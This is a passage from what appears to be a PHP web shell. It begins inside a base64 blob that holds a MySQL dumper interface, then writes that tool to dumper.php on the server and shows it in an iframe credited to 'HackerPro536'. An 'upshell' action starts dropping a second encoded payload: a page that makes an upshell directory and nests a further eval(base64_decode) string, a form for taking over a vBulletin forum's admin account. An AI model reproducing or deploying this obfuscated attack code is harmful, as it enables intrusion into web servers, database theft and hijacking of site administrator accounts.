wIEJPUkRFUj0wIENFTExTUEFDSU5HPTAgQ0VMTFBBRERJTkc9MD4KPFRSPgo8VEQgVkFMSUdOPVRPUCBTVFlMRT0iYm9yZGVyOiAxcHggc29saWQgIzkxOUI5QzsiPgo8VEFCTEUgV0lEVEg9MTAwJSBIRUlHSFQ9MTAwJSBCT1JERVI9MCBDRUxMU1BBQ0lORz0xIENFTExQQURESU5HPTA+CjxUUj4KPFREIElEPUhlYWRlciBIRUlHSFQ9MjAgQkdDT0xPUj0jN0E5NkRGIFNUWUxFPSJmb250LXNpemU6IDEzcHg7IGNvbG9yOiB3aGl0ZTsgZm9udC1mYW1pbHk6IHZlcmRhbmEsIGFyaWFsOwpwYWRkaW5nLWxlZnQ6IDVweDsgRklMVEVSOiBwcm9naWQ6RFhJbWFnZVRyYW5zZm9ybS5NaWNyb3NvZnQuR3JhZGllbnQoZ3JhZGllbnRUeXBlPTEsc3RhcnRDb2xvclN0cj0jN0E5NkRGLGVuZENvbG9yU3RyPSNGQkZCRkQpIgpUSVRMRT0nJmNvcHk7IDIwMDMtMjAwNiB6YXBpbWlyJz4KPEI+PEEgSFJFRj1odHRwOi8vc3lwZXgubmV0L3Byb2R1Y3RzL2R1bXBlci8gU1RZTEU9ImNvbG9yOiB3aGl0ZTsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyI+TXlzcWwgRHVtcGVyIDEuMC45PC9BPjwvQj48SU1HIElEPUdTIFdJRFRIPTEgSEVJR0hUPTEgU1RZTEU9InZpc2liaWxpdHk6IGhpZGRlbjsiPjwvVEQ+CjwvVFI+CjxUUj4KPEZPUk0gTkFNRT1za2IgTUVUSE9EPVBPU1QgQUNUSU9OPWR1bXBlci5waHA+CjxURCBWQUxJR049VE9QIEJHQ09MT1I9I0Y0RjNFRSBTVFlMRT0iRklMVEVSOiBwcm9naWQ6RFhJbWFnZVRyYW5zZm9ybS5NaWNyb3NvZnQuR3JhZGllbnQoZ3JhZGllbnRUeXBlPTAsc3RhcnRDb2xvclN0cj0jRkNGQkZFLGVuZENvbG9yU3RyPSNGNEYzRUUpOyBwYWRkaW5nOiA4cHggOHB4OyI+CnskY29udGVudH0KPFRBQkxFIFdJRFRIPTEwMCUgQk9SREVSPTAgQ0VMTFNQQUNJTkc9MCBDRUxMUEFERElORz0yPgo8VFI+CjxURCBTVFlMRT0nY29sb3I6ICNDRUNFQ0UnIElEPXRpbWVyPjwvVEQ+CjxURCBBTElHTj1SSUdIVD57JGJ1dHRvbnN9PC9URD4KPC9UUj4KPC9UQUJMRT48L1REPgo8L0ZPUk0+CjwvVFI+CjwvVEFCTEU+PC9URD4KPC9UUj4KPC9UQUJMRT48L1REPgo8L1RSPgo8L1RBQkxFPgo8L1REPgo8L1RSPgo8L1RBQkxFPgo8L0JPRFk+CjwvSFRNTD4KSFRNTDsKfQoKZnVuY3Rpb24gdHBsX21haW4oKXsKZ2xvYmFsICRTSzsKcmV0dXJuIDw8PEhUTUwKPEZJRUxEU0VUIG9uQ2xpY2s9ImRvY3VtZW50LnNrYi5hY3Rpb25bMF0uY2hlY2tlZCA9IDE7Ij4KPExFR0VORD4KPElOUFVUIFRZUEU9cmFkaW8gTkFNRT1hY3Rpb24gVkFMVUU9YmFja3VwPgpCYWNrdXAgLyDQodC+0LfQtNCw0L3QuNC1INGA0LXQt9C10YDQstC90L7QuSDQutC+0L/QuNC4INCR0JQmbmJzcDs8L0xFR0VORD4KPFRBQkxFIFdJRFRIPTEwMCUgQk9SREVSPTAgQ0VMTFNQQUNJTkc9MCBDRUxMUEFERElORz0yPgo8VFI+CjxURCBXSURUSD0zNSU+0JHQlDo8L1REPgo8VEQgV0lEVEg9NjUlPjxTRUxFQ1QgTkFNRT1kYl9iYWNrdXA+CnskU0stPnZhcnNbJ2RiX2JhY2t1cCddfQo8L1NFTEVDVD48L1REPgo8L1RSPgo8VFI+CjxURD7QpNC40LvRjNGC0YAg0YLQsNCx0LvQuNGGOjwvVEQ+CjxURD48SU5QVVQgTkFNRT10YWJsZXMgVFlQRT10ZXh0IENMQVNTPXRleHQgVkFMVUU9J3skU0stPnZhcnNbJ3RhYmxlcyddfSc+PC9URD4KPC9UUj4KPFRSPgo8VEQ+0JzQtdGC0L7QtCDRgdC20LDRgtC40Y86PC9URD4KPFREPjxTRUxFQ1QgTkFNRT1jb21wX21ldGhvZD4KeyRTSy0+dmFyc1snY29tcF9tZXRob2RzJ119CjwvU0VMRUNUPjwvVEQ+CjwvVFI+CjxUUj4KPFREPtCh0YLQtdC/0LXQvdGMINGB0LbQsNGC0LjRjzo8L1REPgo8VEQ+PFNFTEVDVCBOQU1FPWNvbXBfbGV2ZWw+CnskU0stPnZhcnNbJ2NvbXBfbGV2ZWxzJ119CjwvU0VMRUNUPjwvVEQ+CjwvVFI+CjwvVEFCTEU+CjwvRklFTERTRVQ+CjxGSUVMRFNFVCBvbkNsaWNrPSJkb2N1bWVudC5za2IuYWN0aW9uWzFdLmNoZWNrZWQgPSAxOyI+CjxMRUdFTkQ+CjxJTlBVVCBUWVBFPXJhZGlvIE5BTUU9YWN0aW9uIFZBTFVFPXJlc3RvcmU+ClJlc3RvcmUgLyDQktC+0YHRgdGC0LDQvdC+0LLQu9C10L3QuNC1INCR0JQg0LjQtyDRgNC10LfQtdGA0LLQvdC+0Lkg0LrQvtC/0LjQuCZuYnNwOzwvTEVHRU5EPgo8VEFCTEUgV0lEVEg9MTAwJSBCT1JERVI9MCBDRUxMU1BBQ0lORz0wIENFTExQQURESU5HPTI+CjxUUj4KPFREPtCR0JQ6PC9URD4KPFREPjxTRUxFQ1QgTkFNRT1kYl9yZXN0b3JlPgp7JFNLLT52YXJzWydkYl9yZXN0b3JlJ119CjwvU0VMRUNUPjwvVEQ+CjwvVFI+CjxUUj4KPFREIFdJRFRIPTM1JT7QpNCw0LnQuzo8L1REPgo8VEQgV0lEVEg9NjUlPjxTRUxFQ1QgTkFNRT1maWxlPgp7JFNLLT52YXJzWydmaWxlcyddfQo8L1NFTEVDVD48L1REPgo8L1RSPgo8L1RBQkxFPgo8L0ZJRUxEU0VUPgo8L1NQQU4+CjxTQ1JJUFQ+CmRvY3VtZW50LnNrYi5hY3Rpb25beyRTSy0+U0VUWydsYXN0X2FjdGlvbiddfV0uY2hlY2tlZCA9IDE7CjwvU0NSSVBUPgoKSFRNTDsKfQoKZnVuY3Rpb24gdHBsX3Byb2Nlc3MoJHRpdGxlKXsKcmV0dXJuIDw8PEhUTUwKPEZJRUxEU0VUPgo8TEVHRU5EPnskdGl0bGV9Jm5ic3A7PC9MRUdFTkQ+CjxUQUJMRSBXSURUSD0xMDAlIEJPUkRFUj0wIENFTExTUEFDSU5HPTAgQ0VMTFBBRERJTkc9Mj4KPFRSPjxURCBDT0xTUEFOPTI+PERJViBJRD1sb2dhcmVhIFNUWUxFPSJ3aWR0aDogMTAwJTsgaGVpZ2h0OiAxNDBweDsgYm9yZGVyOiAxcHggc29saWQgIzdGOURCOTsgcGFkZGluZzogM3B4OyBvdmVyZmxvdzogYXV0bzsiPjwvRElWPjwvVEQ+PC9UUj4KPFRSPjxURCBXSURUSD0zMSU+0KHRgtCw0YLRg9GBINGC0LDQsdC70LjRhtGLOjwvVEQ+PFREIFdJRFRIPTY5JT48VEFCTEUgV0lEVEg9MTAwJSBCT1JERVI9MSBDRUxMUEFERElORz0wIENFTExTUEFDSU5HPTA+CjxUUj48VEQgQkdDT0xPUj0jRkZGRkZGPjxUQUJMRSBXSURUSD0xIEJPUkRFUj0wIENFTExQQURESU5HPTAgQ0VMTFNQQUNJTkc9MCBCR0NPTE9SPSM1NTU1Q0MgSUQ9c3RfdGFiClNUWUxFPSJGSUxURVI6IHByb2dpZDpEWEltYWdlVHJhbnNmb3JtLk1pY3Jvc29mdC5HcmFkaWVudChncmFkaWVudFR5cGU9MCxzdGFydENvbG9yU3RyPSNDQ0NDRkYsZW5kQ29sb3JTdHI9IzU1NTVDQyk7CmJvcmRlci1yaWdodDogMXB4IHNvbGlkICNBQUFBQUEiPjxUUj48VEQgSEVJR0hUPTEyPjwvVEQ+PC9UUj48L1RBQkxFPjwvVEQ+PC9UUj48L1RBQkxFPjwvVEQ+PC9UUj4KPFRSPjxURD7QntCx0YnQuNC5INGB0YLQsNGC0YPRgTo8L1REPjxURD48VEFCTEUgV0lEVEg9MTAwJSBCT1JERVI9MSBDRUxMU1BBQ0lORz0wIENFTExQQURESU5HPTA+CjxUUj48VEQgQkdDT0xPUj0jRkZGRkZGPjxUQUJMRSBXSURUSD0xIEJPUkRFUj0wIENFTExQQURESU5HPTAgQ0VMTFNQQUNJTkc9MCBCR0NPTE9SPSMwMEFBMDAgSUQ9c29fdGFiClNUWUxFPSJGSUxURVI6IHByb2dpZDpEWEltYWdlVHJhbnNmb3JtLk1pY3Jvc29mdC5HcmFkaWVudChncmFkaWVudFR5cGU9MCxzdGFydENvbG9yU3RyPSNDQ0ZGQ0MsZW5kQ29sb3JTdHI9IzAwQUEwMCk7CmJvcmRlci1yaWdodDogMXB4IHNvbGlkICNBQUFBQUEiPjxUUj48VEQgSEVJR0hUPTEyPjwvVEQ+PC9UUj48L1RBQkxFPjwvVEQ+CjwvVFI+PC9UQUJMRT48L1REPjwvVFI+PC9UQUJMRT4KPC9GSUVMRFNFVD4KPFNDUklQVD4KdmFyIFdpZHRoTG9ja2VkID0gZmFsc2U7CmZ1bmN0aW9uIHMoc3QsIHNvKXsKICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc3RfdGFiJykud2lkdGggPSBzdCA/IHN0ICsgJyUnIDogJzEnOwogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzb190YWInKS53aWR0aCA9IHNvID8gc28gKyAnJScgOiAnMSc7Cn0KZnVuY3Rpb24gbChzdHIsIGNvbG9yKXsKICAgICAgICBzd2l0Y2goY29sb3IpewogICAgICAgICAgICAgICAgY2FzZSAyOiBjb2xvciA9ICduYXZ5JzsgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlIDM6IGNvbG9yID0gJ3JlZCc7IGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSA0OiBjb2xvciA9ICdtYXJvb24nOyBicmVhazsKICAgICAgICAgICAgICAgIGRlZmF1bHQ6IGNvbG9yID0gJ2JsYWNrJzsKICAgICAgICB9CiAgICAgICAgd2l0aChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbG9nYXJlYScpKXsKICAgICAgICAgICAgICAgIGlmICghV2lkdGhMb2NrZWQpewogICAgICAgICAgICAgICAgICAgICAgICBzdHlsZS53aWR0aCA9IGNsaWVudFdpZHRoOwogICAgICAgICAgICAgICAgICAgICAgICBXaWR0aExvY2tlZCA9IHRydWU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBzdHIgPSAnPEZPTlQgQ09MT1I9JyArIGNvbG9yICsgJz4nICsgc3RyICsgJzwvRk9OVD4nOwogICAgICAgICAgICAgICAgaW5uZXJIVE1MICs9IGlubmVySFRNTCA/ICI8QlI+XFxuIiArIHN0ciA6IHN0cjsKICAgICAgICAgICAgICAgIHNjcm9sbFRvcCArPSAxNDsKICAgICAgICB9Cn0KPC9TQ1JJUFQ+CkhUTUw7Cn0KCmZ1bmN0aW9uIHRwbF9hdXRoKCRlcnJvcil7CnJldHVybiA8PDxIVE1MCjxTUEFOIElEPWVycm9yPgo8RklFTERTRVQ+CjxMRUdFTkQ+0J7RiNC40LHQutCwPC9MRUdFTkQ+CjxUQUJMRSBXSURUSD0xMDAlIEJPUkRFUj0wIENFTExTUEFDSU5HPTAgQ0VMTFBBRERJTkc9Mj4KPFRSPgo8VEQ+0JTQu9GPINGA0LDQsdC+0YLRiyBTeXBleCBEdW1wZXIgTGl0ZSDRgtGA0LXQsdGD0LXRgtGB0Y86PEJSPiAtIEludGVybmV0IEV4cGxvcmVyIDUuNSssIE1vemlsbGEg0LvQuNCx0L4gT3BlcmEgOCsgKDxTUEFOIElEPXNpZT4tPC9TUEFOPik8QlI+IC0g0LLQutC70Y7Rh9C10L3QviDQstGL0L/QvtC70L3QtdC90LjQtSBKYXZhU2NyaXB0INGB0LrRgNC40L/RgtC+0LIgKDxTUEFOIElEPXNqcz4tPC9TUEFOPik8L1REPgo8L1RSPgo8L1RBQkxFPgo8L0ZJRUxEU0VUPgo8L1NQQU4+CjxTUEFOIElEPWJvZHkgU1RZTEU9ImRpc3BsYXk6IG5vbmU7Ij4KeyRlcnJvcn0KPEZJRUxEU0VUPgo8TEVHRU5EPkVudGVyIGxvZ2luIGFuZCBwYXNzd29yZDwvTEVHRU5EPgo8VEFCTEUgV0lEVEg9MTAwJSBCT1JERVI9MCBDRUxMU1BBQ0lORz0wIENFTExQQURESU5HPTI+CjxUUj4KPFREIFdJRFRIPTQxJT7Qm9C+0LPQuNC9OjwvVEQ+CjxURCBXSURUSD01OSU+PElOUFVUIE5BTUU9bG9naW4gVFlQRT10ZXh0IENMQVNTPXRleHQ+PC9URD4KPC9UUj4KPFRSPgo8VEQ+0J/QsNGA0L7Qu9GMOjwvVEQ+CjxURD48SU5QVVQgTkFNRT1wYXNzIFRZUEU9cGFzc3dvcmQgQ0xBU1M9dGV4dD48L1REPgo8L1RSPgo8L1RBQkxFPgo8L0ZJRUxEU0VUPgo8L1NQQU4+CjxTQ1JJUFQ+CmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzanMnKS5pbm5lckhUTUwgPSAnKyc7CmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdib2R5Jykuc3R5bGUuZGlzcGxheSA9ICcnOwpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZXJyb3InKS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOwp2YXIganNFbmFibGVkID0gdHJ1ZTsKPC9TQ1JJUFQ+CkhUTUw7Cn0KCmZ1bmN0aW9uIHRwbF9sKCRzdHIsICRjb2xvciA9IENfREVGQVVMVCl7CiRzdHIgPSBwcmVnX3JlcGxhY2UoIi9cc3syfS8iLCAiICZuYnNwOyIsICRzdHIpOwpyZXR1cm4gPDw8SFRNTAo8U0NSSVBUPmwoJ3skc3RyfScsICRjb2xvcik7PC9TQ1JJUFQ+CgpIVE1MOwp9CgpmdW5jdGlvbiB0cGxfZW5hYmxlQmFjaygpewpyZXR1cm4gPDw8SFRNTAo8U0NSSVBUPmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYWNrJykuZGlzYWJsZWQgPSAwOzwvU0NSSVBUPgoKSFRNTDsKfQoKZnVuY3Rpb24gdHBsX3MoJHN0LCAkc28pewokc3QgPSByb3VuZCgkc3QgKiAxMDApOwokc3QgPSAkc3QgPiAxMDAgPyAxMDAgOiAkc3Q7CiRzbyA9IHJvdW5kKCRzbyAqIDEwMCk7CiRzbyA9ICRzbyA+IDEwMCA/IDEwMCA6ICRzbzsKcmV0dXJuIDw8PEhUTUwKPFNDUklQVD5zKHskc3R9LHskc299KTs8L1NDUklQVD4KCkhUTUw7Cn0KCmZ1bmN0aW9uIHRwbF9iYWNrdXBfaW5kZXgoKXsKcmV0dXJuIDw8PEhUTUwKPENFTlRFUj4KPEgxPllvdSBkb24ndCBoYXZlIHBlcm1pc3Npb25zIHRvIGxpc3QgdGhpcyBkaXI8L0gxPgo8L0NFTlRFUj4KCkhUTUw7Cn0KCmZ1bmN0aW9uIHRwbF9lcnJvcigkZXJyb3IpewpyZXR1cm4gPDw8SFRNTAo8RklFTERTRVQ+CjxMRUdFTkQ+RXJyb3IgY29ubmVjdCB0byBEQjwvTEVHRU5EPgo8VEFCTEUgV0lEVEg9MTAwJSBCT1JERVI9MCBDRUxMU1BBQ0lORz0wIENFTExQQURESU5HPTI+CjxUUj4KPFREIEFMSUdOPWNlbnRlcj57JGVycm9yfTwvVEQ+CjwvVFI+CjwvVEFCTEU+CjwvRklFTERTRVQ+CgpIVE1MOwp9CgpmdW5jdGlvbiBTWERfZXJyb3JIYW5kbGVyKCRlcnJubywgJGVycm1zZywgJGZpbGVuYW1lLCAkbGluZW51bSwgJHZhcnMpIHsKICAgICAgICBpZiAoJGVycm5vID09IDIwNDgpIHJldHVybiB0cnVlOwogICAgICAgIGlmIChwcmVnX21hdGNoKCIvY2htb2RcKFwpLio/OiBPcGVyYXRpb24gbm90IHBlcm1pdHRlZC8iLCAkZXJybXNnKSkgcmV0dXJuIHRydWU7CiAgICAkZHQgPSBkYXRlKCJZLm0uZCBIOmk6cyIpOwogICAgJGVycm1zZyA9IGFkZHNsYXNoZXMoJGVycm1zZyk7CgogICAgICAgIGVjaG8gdHBsX2woInskZHR9PEJSPjxCPkVycm9yIHdhcyBvY2N1cmVkITwvQj4iLCBDX0VSUk9SKTsKICAgICAgICBlY2hvIHRwbF9sKCJ7JGVycm1zZ30gKHskZXJybm99KSIsIENfRVJST1IpOwogICAgICAgIGVjaG8gdHBsX2VuYWJsZUJhY2soKTsKICAgICAgICBkaWUoKTsKfQo/Pgo=
1327';
1328 $file = fopen("dumper.php", "w+");
1329 $write = fwrite($file, base64_decode($perltoolss));
1330 fclose($file);
1331 echo "<iframe src=dumper.php width=100% height=720px frameborder=0></iframe><br><center><b>Code by HackerPro536</b></center> ";
1332} elseif ($action == 'upshell') {
1333 $file = fopen($dir . "upshell.php", "w+");
1334 $perltoolss = 'PCFET0NUWVBFIEhUTUwgUFVCTElDICctLy9XM0MvL0RURCBIVE1MIDQuMDEgVHJhbnNpdGlvbmFsLy9FTicgJ2h0dHA6Ly93d3cudzMub3JnL1RSL2h0bWw0L2xvb3NlLmR0ZCc+CjxodG1sPgo8IS0tSXRzIEZpcnN0IFB1YmxpYyBWZXJzaW9uIAoKIC0tPgo8L2h0bWw+CjxodG1sPgo8aGVhZD4KPG1ldGEgaHR0cC1lcXVpdj0nQ29udGVudC1UeXBlJyBjb250ZW50PSd0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgnPgo8dGl0bGU+OjogVXBzaGVsbCA6OiBLeW1Mam5rIDo6PC90aXRsZT4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KYSB7IAp0ZXh0LWRlY29yYXRpb246bm9uZTsKY29sb3I6d2hpdGU7CiB9Cjwvc3R5bGU+IAo8c3R5bGU+CmlucHV0IHsgCmNvbG9yOiMwMDAwMzU7IApmb250OjhwdCAndHJlYnVjaGV0IG1zJyxoZWx2ZXRpY2Esc2Fucy1zZXJpZjsKfQouRElSIHsgCmNvbG9yOiMwMDAwMzU7IApmb250OmJvbGQgOHB0ICd0cmVidWNoZXQgbXMnLGhlbHZldGljYSxzYW5zLXNlcmlmO2NvbG9yOiNGRkZGRkY7CmJhY2tncm91bmQtY29sb3I6I0FBMDAwMDsKYm9yZGVyLXN0eWxlOm5vbmU7Cn0KLnR4dCB7IApjb2xvcjojMkEwMDAwOyAKZm9udDpib2xkICA4cHQgJ3RyZWJ1Y2hldCBtcycsaGVsdmV0aWNhLHNhbnMtc2VyaWY7Cn0gCmJvZHksIHRhYmxlLCBzZWxlY3QsIG9wdGlvbiwgLmluZm8Kewpmb250OmJvbGQgIDhwdCAndHJlYnVjaGV0IG1zJyxoZWx2ZXRpY2Esc2Fucy1zZXJpZjsKfQpib2R5IHsKCWJhY2tncm91bmQtY29sb3I6ICNFNUU1RTU7Cn0KLnN0eWxlMSB7Y29sb3I6ICNBQTAwMDB9Ci50ZAp7CmJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7CmJvcmRlci10b3A6IDBweDsKYm9yZGVyLWxlZnQ6IDBweDsKYm9yZGVyLXJpZ2h0OiAwcHg7Cn0KLnRkVVAKewpib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2Owpib3JkZXItdG9wOiAxcHg7CmJvcmRlci1sZWZ0OiAwcHg7CmJvcmRlci1yaWdodDogMHB4Owpib3JkZXItYm90dG9tOiAxcHg7Cn0KLnN0eWxlNCB7Y29sb3I6ICNGRkZGRkY7IH0KPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KPD9waHAKZWNobyAiPENFTlRFUj4KICA8dGFibGUgYm9yZGVyPScxJyBjZWxscGFkZGluZz0nMCcgY2VsbHNwYWNpbmc9JzAnIHN0eWxlPSdib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlOyBib3JkZXItc3R5bGU6IHNvbGlkOyBib3JkZXItY29sb3I6ICNDMEMwQzA7IHBhZGRpbmctbGVmdDogNDsgcGFkZGluZy1yaWdodDogNDsgcGFkZGluZy10b3A6IDE7IHBhZGRpbmctYm90dG9tOiAxJyBib3JkZXJjb2xvcj0nIzExMTExMScgd2lkdGg9Jzg2JScgYmdjb2xvcj0nI0UwRTBFMCc+CiAgICA8dHI+CiAgICAgIDx0ZCBiZ2NvbG9yPScjMDAwMGZmJyBjbGFzcz0ndGQnPjxkaXYgYWxpZ249J2NlbnRlcicgY2xhc3M9J3N0eWxlNCc+IEhheSBjaG9uIG1hIG5ndW9uPC9kaXY+PC90ZD4KICAgICAgPHRkIGJnY29sb3I9JyMwMDAwZmYnIGNsYXNzPSd0ZCcgc3R5bGU9J3BhZGRpbmc6MHB4IDBweCAwcHggNXB4Jz48ZGl2IGFsaWduPSdjZW50ZXInIGNsYXNzPSdzdHlsZTQnPgogICAgICAgIDxkaXYgYWxpZ249J2xlZnQnPgogICAgICAgIDwvZGl2PgogICAgICA8L2Rpdj48L3RkPgogICAgPC90cj4KICAgIDx0cj4KICAgIDx0ZCB3aWR0aD0nMTAwJScgaGVpZ2h0PScyODAnIHN0eWxlPSdwYWRkaW5nOjIwcHggMjBweCAyMHB4IDIwcHggJz4iOwoKaWYgKGlzc2V0KCRfUE9TVFsndmJiJ10pKQp7CiAgICBta2RpcigndXBzaGVsbCcsIDA3NTUpOwogICAgY2hkaXIoJ3Vwc2hlbGwnKTsKJGNvbmZpZ3NoZWxsID0gJ1BHaDBiV3crQ2p4MGFYUnNaVDUyUW5Wc2JHVjBhVzRnUzJsc2JHVnlQQzkwYVhSc1pUNEtQR05sYm5SbGNqNEtQR1p2Y20wZ2JXVjBhRzlrUFZCUFUxUWdZV04wYVc5dVBTY25QZ284Wm05dWRDQm1ZV05sUFNkQmNtbGhiQ2NnWTI5c2IzSTlKeU13TURBd01EQW5QazE1YzNGc0lFaHZjM1E4TDJadmJuUStQR0p5UGp4cGJuQjFkQ0IyWVd4MVpUMXNiMk5oYkdodmMzUWdkSGx3WlQxMFpYaDBJRzVoYldVOWFHOXpkRzVoYldVZ2MybDZaVDBuTlRBbklITjBlV3hsUFNkbWIyNTBMWE5wZW1VNklEaHdkRHNnWTI5c2IzSTZJQ013TURBd01EQTdJR1p2Ym5RdFptRnRhV3g1T2lCVVlXaHZiV0U3SUdKdmNtUmxjam9nTVhCNElITnZiR2xrSUNNMk5qWTJOalk3SUdKaFkydG5jbTkxYm1RdFkyOXNiM0k2SUNOR1JrWkdSa1luUGp4aWNqNEtQR1p2Ym5RZ1ptRmpaVDBuUVhKcFlXd25JR052Ykc5eVBTY2pNREF3TURBd0p6NUVRaUJ1WVcxbFBHSnlQand2Wm05dWRENDhhVzV3ZFhRZ2RtRnNkV1U5WkdGMFlXSmhjMlVnZEhsd1pUMTBaWGgwSUc1aGJXVTlaR0p1WVcxbElITnBlbVU5SnpVd0p5QnpkSGxzWlQwblptOXVkQzF6YVhwbE9pQTRjSFE3SUdOdmJHOXlPaUFqTURBd01EQXdPeUJtYjI1MExXWmhiV2xzZVRvZ1ZHRm9iMjFoT3lCaWIzSmtaWEk2SURGd2VDQnpiMnhwWkNBak5qWTJOalkyT3lCaVlXTnJaM0p2ZFc1a0xXTnZiRzl5T2lBalJrWkdSa1pHSno0OFluSStDanhtYjI1MElHWmhZMlU5SjBGeWFXRnNKeUJqYjJ4dmNqMG5JekF3TURBd01DYytSRUlnZFhObGNqeGljajQ4TDJadmJuUStQR2x1Y0hWMElIWmhiSFZsUFhWelpYSWdkSGx3WlQxMFpYaDBJRzVoYldVOVpHSjFjMlZ5SUhOcGVtVTlKelV3SnlCemRIbHNaVDBuWm05dWRDMXphWHBsT2lBNGNIUTdJR052Ykc5eU9pQWpNREF3TURBd095Qm1iMjUwTFdaaGJXbHNlVG9nVkdGb2IyMWhPeUJpYjNKa1pYSTZJREZ3ZUNCemIyeHBaQ0FqTmpZMk5qWTJPeUJpWVdOclozSnZkVzVrTFdOdmJHOXlPaUFqUmtaR1JrWkdKejQ4WW5JK0NqeG1iMjUwSUdaaFkyVTlKMEZ5YVdGc0p5QmpiMnh2Y2owbkl6QXdNREF3TUNjK1JFSWdaR0p3WVhOelBHSnlQand2Wm05dWRENDhhVzV3ZFhRZ2RtRnNkV1U5Y0dGemN5QjBlWEJsUFhSbGVIUWdibUZ0WlQxa1luQmhjM01nYzJsNlpUMG5OVEFuSUhOMGVXeGxQU2RtYjI1MExYTnBlbVU2SURod2REc2dZMjlzYjNJNklDTXdNREF3TURBN0lHWnZiblF0Wm1GdGFXeDVPaUJVWVdodmJXRTdJR0p2Y21SbGNqb2dNWEI0SUhOdmJHbGtJQ00yTmpZMk5qWTdJR0poWTJ0bmNtOTFibVF0WTI5c2IzSTZJQ05HUmtaR1JrWW5QanhpY2o0S1BHWnZiblFnWm1GalpUMG5RWEpwWVd3bklHTnZiRzl5UFNjak1EQXdNREF3Sno1VVlXSnNaU0J3Y21WbWFYZzhZbkkrUEM5bWIyNTBQanhwYm5CMWRDQjJZV3gxWlQwbmRtSmlYeWNnZEhsd1pUMTBaWGgwSUc1aGJXVTljSEpsWm1sNElITnBlbVU5SnpVd0p5QnpkSGxzWlQwblptOXVkQzF6YVhwbE9pQTRjSFE3SUdOdmJHOXlPaUFqTURBd01EQXdPeUJtYjI1MExXWmhiV2xzZVRvZ1ZHRm9iMjFoT3lCaWIzSmtaWEk2SURGd2VDQnpiMnhwWkNBak5qWTJOalkyT3lCaVlXTnJaM0p2ZFc1a0xXTnZiRzl5T2lBalJrWkdSa1pHSno0OFluSStDanhtYjI1MElHWmhZMlU5SjBGeWFXRnNKeUJqYjJ4dmNqMG5JekF3TURBd01DYytWWE5sY2lCaFpHMXBianhpY2o0OEwyWnZiblErUEdsdWNIVjBJSFpoYkhWbFBYSnZiM1FnZEhsd1pUMTBaWGgwSUc1aGJXVTlkWE5sY2lCemFYcGxQU2MxTUNjZ2MzUjViR1U5SjJadmJuUXRjMmw2WlRvZ09IQjBPeUJqYjJ4dmNqb2dJekF3TURBd01Ec2dabTl1ZEMxbVlXMXBiSGs2SUZSaGFHOXRZVHNnWW05eVpHVnlPaUF4Y0hnZ2MyOXNhV1FnSXpZMk5qWTJOanNnWW1GamEyZHliM1Z1WkMxamIyeHZjam9nSTBaR1JrWkdSaWMrUEdKeVBnbzhabTl1ZENCbVlXTmxQU2RCY21saGJDY2dZMjlzYjNJOUp5TXdNREF3TURBblBrNWxkeUJ3WVhOeklHRmtiV2x1UEdKeVBqd3ZabTl1ZEQ0OGFXNXdkWFFnZG1Gc2RXVTlNVEl6TkRVMklIUjVjR1U5ZEdWNGRDQnVZVzFsUFhCaGMzTWdjMmw2WlQwbk5UQW5JSE4wZVd4bFBTZG1iMjUwTFhOcGVtVTZJRGh3ZERzZ1kyOXNiM0k2SUNNd01EQXdNREE3SUdadmJuUXRabUZ0YVd4NU9pQlVZV2h2YldFN0lHSnZjbVJsY2pvZ01YQjRJSE52Ykdsa0lDTTJOalkyTmpZN0lHSmhZMnRuY205MWJtUXRZMjlzYjNJNklDTkdSa1pHUmtZblBqeGljajRLUEdadmJuUWdabUZqWlQwblFYSnBZV3duSUdOdmJHOXlQU2NqTURBd01EQXdKejVPWlhjZ1JTMXRZV2xzSUdGa2JXbHVQR0p5UGp3dlptOXVkRDQ4YVc1d2RYUWdkbUZzZFdVOWEzbHRiR3B1YTBCNVlXaHZieTVqYjIwZ2RIbHdaVDEwWlhoMElHNWhiV1U5WlcxaGFXd2djMmw2WlQwbk5UQW5JSE4wZVd4bFBTZG1iMjUwTFhOcGVtVTZJRGh3ZERzZ1kyOXNiM0k2SUNNd01EQXdNREE3SUdadmJuUXRabUZ0YVd4NU9pQlVZV2h2YldFN0lHSnZjbVJsY2pvZ01YQjRJSE52Ykdsa0lDTTJOalkyTmpZN0lHSmhZMnRuY205MWJtUXRZMjlzYjNJNklDTkdSa1pHUmtZblBqeGljajRLUEdadmJuUWdabUZqWlQwblFYSnBZV3duSUdOdmJHOXlQU2NqTURBd01EQXdKejVEYjJSbElGTm9aV3hzUEdKeVBqd3ZabTl1ZEQ0OGRHVjRkR0Z5WldFZ2JtRnRaVDBpWkdGMFlTSWdZMjlzY3owaU5EQWlJSEp2ZDNNOUlqRXdJajRrYzNCaFkyVnlYMjl3Wlc0S2V5UjdaWFpoYkNoaVlYTmxOalJmWkdWamIyUmxLQ0poVjFsdllWaE9lbHBZVVc5S1JqbFJWREZPVlZkNVpGUmtWMG9nZEdGWVVXNVlVMnR3Wlhjd1MwbERRV2RKUTFKdFlWZDRiRnBIYkhsSlJEQm5TV2xKTjBsQk1FdEpRMEZuU1VOU2RGa2dXR2h0WVZkNGJFbEVNR2RLZWtsM1RVUkJkMDFFUVc1UGR6QkxSRkZ2WjBsRFFXZEtTRlo2V2xoS2JXRlhlR3hZTWpVZ2FHSlhWV2RRVTBGcldEQmFTbFJGVmxSWGVXUndZbGRHYmxwVFpHUlhlV1IxV1ZjeGJFb3hNRGRFVVc5blNVTkJaMG9nU0ZaNldsaEtiV0ZYZUd4WU0xSjBZME5CT1VsRFVtWlNhMnhOVWxaT1lrb3liSFJaVjJSc1NqRXhZa296VW5SalJqa2dkVmxYTVd4S01UQTNSRkZ2WjBsRFFXZGhWMWxuUzBkc2VtTXlWakJMUTFKbVVtdHNUVkpXVG1KS01teDBX